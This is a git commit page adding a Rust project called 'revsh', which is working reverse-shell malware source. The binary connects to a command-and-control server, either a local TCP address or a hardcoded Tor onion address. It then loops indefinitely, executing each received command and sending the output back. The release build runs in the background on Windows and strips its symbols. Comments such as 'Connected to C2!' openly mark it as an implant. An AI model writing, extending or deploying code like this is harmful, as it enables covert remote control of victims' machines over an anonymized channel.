batman
This commit is contained in:
2
.gitignore
vendored
Normal file
2
.gitignore
vendored
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
/target
|
||||||
|
__pycache__
|
||||||
5599
Cargo.lock
generated
Normal file
5599
Cargo.lock
generated
Normal file
File diff suppressed because it is too large
Load Diff
23
Cargo.toml
Normal file
23
Cargo.toml
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
[package]
|
||||||
|
name = "revsh"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2024"
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
arti-client = { version = "0.34.0", features = ["onion-service-client"] }
|
||||||
|
openssl = { version = "0.10.73", features = ["vendored"] }
|
||||||
|
clap = { version = "4.5.48", features = ["derive"] }
|
||||||
|
tokio = { version = "1.47.1", features = ["full"] }
|
||||||
|
pretty_env_logger = "0.5.0"
|
||||||
|
daemonize = "0.5.0"
|
||||||
|
log = "0.4.28"
|
||||||
|
|
||||||
|
[profile.release]
|
||||||
|
opt-level = "s"
|
||||||
|
panic = "abort"
|
||||||
|
strip = true
|
||||||
|
lto = true
|
||||||
|
|
||||||
|
[features]
|
||||||
|
static = ["arti-client/static"]
|
||||||
|
tor = []
|
||||||
60
src/bin/revsh.rs
Normal file
60
src/bin/revsh.rs
Normal file
@@ -0,0 +1,60 @@
|
|||||||
|
#![feature(never_type)]
|
||||||
|
#[macro_use] extern crate log;
|
||||||
|
use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
|
||||||
|
use std::{thread, time::Duration};
|
||||||
|
use revsh::{Shell, connect};
|
||||||
|
use daemonize::Daemonize;
|
||||||
|
|
||||||
|
const WAIT: Duration = Duration::from_millis(100);
|
||||||
|
|
||||||
|
#[tokio::main]
|
||||||
|
async fn main() {
|
||||||
|
if cfg!(debug_assertions) {
|
||||||
|
unsafe { std::env::set_var("RUST_LOG", "trace,mio=debug") };
|
||||||
|
pretty_env_logger::init();
|
||||||
|
} else if cfg!(windows) {
|
||||||
|
let daemonize = Daemonize::new();
|
||||||
|
if let Err(err) = daemonize.start() {
|
||||||
|
eprintln!("{err:?}");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
info!("Entering main loop");
|
||||||
|
loop {
|
||||||
|
if let Err(err) = pwnd().await {
|
||||||
|
debug!("{err}");
|
||||||
|
} else {
|
||||||
|
error!("Main loop returned success... This should never happen!");
|
||||||
|
}
|
||||||
|
thread::sleep(WAIT);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn pwnd() -> std::io::Result<()> {
|
||||||
|
#[allow(unused_mut)] // stream needs to be mut if cfg!(not(features = "tor"))
|
||||||
|
let mut stream = connect().await?;
|
||||||
|
let (read, mut write) = stream.split();
|
||||||
|
let mut read = BufReader::new(read);
|
||||||
|
info!("Connected to C2!");
|
||||||
|
write.write_all("$ ".as_bytes()).await.unwrap();
|
||||||
|
write.flush().await.unwrap();
|
||||||
|
let mut shell = Shell::default();
|
||||||
|
let mut input = String::new();
|
||||||
|
while let Ok(_len) = read.read_line(&mut input).await {
|
||||||
|
input = input.replace('\n', "");
|
||||||
|
if cfg!(debug_assertions) {
|
||||||
|
debug!("Running command: {input:?}");
|
||||||
|
}
|
||||||
|
let mut parts = input.split(' ');
|
||||||
|
let mut out = shell.exec(
|
||||||
|
parts.next().unwrap(), Some(parts.collect()), None
|
||||||
|
).await.unwrap();
|
||||||
|
let mut buf: Vec<u8> = vec![];
|
||||||
|
buf.append(&mut out.stdout);
|
||||||
|
buf.append(&mut out.stderr);
|
||||||
|
buf.append(&mut "\n$ ".as_bytes().to_vec());
|
||||||
|
write.write_all(&buf).await.unwrap();
|
||||||
|
write.flush().await.unwrap();
|
||||||
|
input.clear();
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
9
src/lib.rs
Normal file
9
src/lib.rs
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
|
||||||
|
mod shell;
|
||||||
|
mod tor;
|
||||||
|
|
||||||
|
pub use shell::Shell;
|
||||||
|
pub use tor::connect;
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {}
|
||||||
31
src/shell.rs
Normal file
31
src/shell.rs
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
use std::{process::{Output, Stdio}, io::PipeReader, path::PathBuf};
|
||||||
|
use tokio::process::Command;
|
||||||
|
|
||||||
|
pub struct Shell {
|
||||||
|
pub dir: PathBuf,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Shell {
|
||||||
|
pub async fn exec(
|
||||||
|
&mut self, cmd: &str, args: Option<Vec<&str>>, stdin: Option<PipeReader>
|
||||||
|
) -> std::io::Result<Output> {
|
||||||
|
let mut cmd = Command::new(cmd);
|
||||||
|
cmd.stdout(Stdio::piped()).stderr(Stdio::piped()).current_dir(self.dir.clone());
|
||||||
|
if let Some(args) = args {
|
||||||
|
cmd.args(args);
|
||||||
|
}
|
||||||
|
if let Some(stdin) = stdin {
|
||||||
|
cmd.stdin(stdin);
|
||||||
|
} else {
|
||||||
|
cmd.stdin(Stdio::piped());
|
||||||
|
}
|
||||||
|
cmd.output().await
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Default for Shell {
|
||||||
|
fn default() -> Self {
|
||||||
|
let dir = std::env::current_dir().unwrap();
|
||||||
|
Self { dir }
|
||||||
|
}
|
||||||
|
}
|
||||||
31
src/tor.rs
Normal file
31
src/tor.rs
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
#[cfg(feature = "tor")]
|
||||||
|
use arti_client::DataStream;
|
||||||
|
#[cfg(not(feature = "tor"))]
|
||||||
|
use tokio::net::TcpStream;
|
||||||
|
|
||||||
|
#[inline]
|
||||||
|
#[cfg(not(feature = "tor"))]
|
||||||
|
pub async fn connect() -> std::io::Result<TcpStream> {
|
||||||
|
static CNC: &str = "127.0.0.1:1337";
|
||||||
|
let sock = tokio::net::TcpSocket::new_v4()?;
|
||||||
|
let stream = sock.connect(CNC.parse().unwrap()).await?;
|
||||||
|
stream.set_nodelay(true)?;
|
||||||
|
Ok(stream)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[inline]
|
||||||
|
#[cfg(feature = "tor")]
|
||||||
|
pub async fn connect() -> std::io::Result<DataStream> {
|
||||||
|
use arti_client::{config::TorClientConfigBuilder, TorClient};
|
||||||
|
static CNC: &str = "revshell63sdjbqiq4avanhqbthgxoostbaitm5e53s37iu7xhlw2uqd.onion";
|
||||||
|
let config = {
|
||||||
|
let mut conf = TorClientConfigBuilder::default();
|
||||||
|
conf.address_filter().allow_onion_addrs(true);
|
||||||
|
conf.build().unwrap()
|
||||||
|
};
|
||||||
|
let tor_client = TorClient::create_bootstrapped(config).await.unwrap();
|
||||||
|
match tor_client.connect((CNC, 1337)).await {
|
||||||
|
Err(err) => Err(std::io::Error::new(std::io::ErrorKind::Other, err)),
|
||||||
|
Ok(stream) => Ok(stream),
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user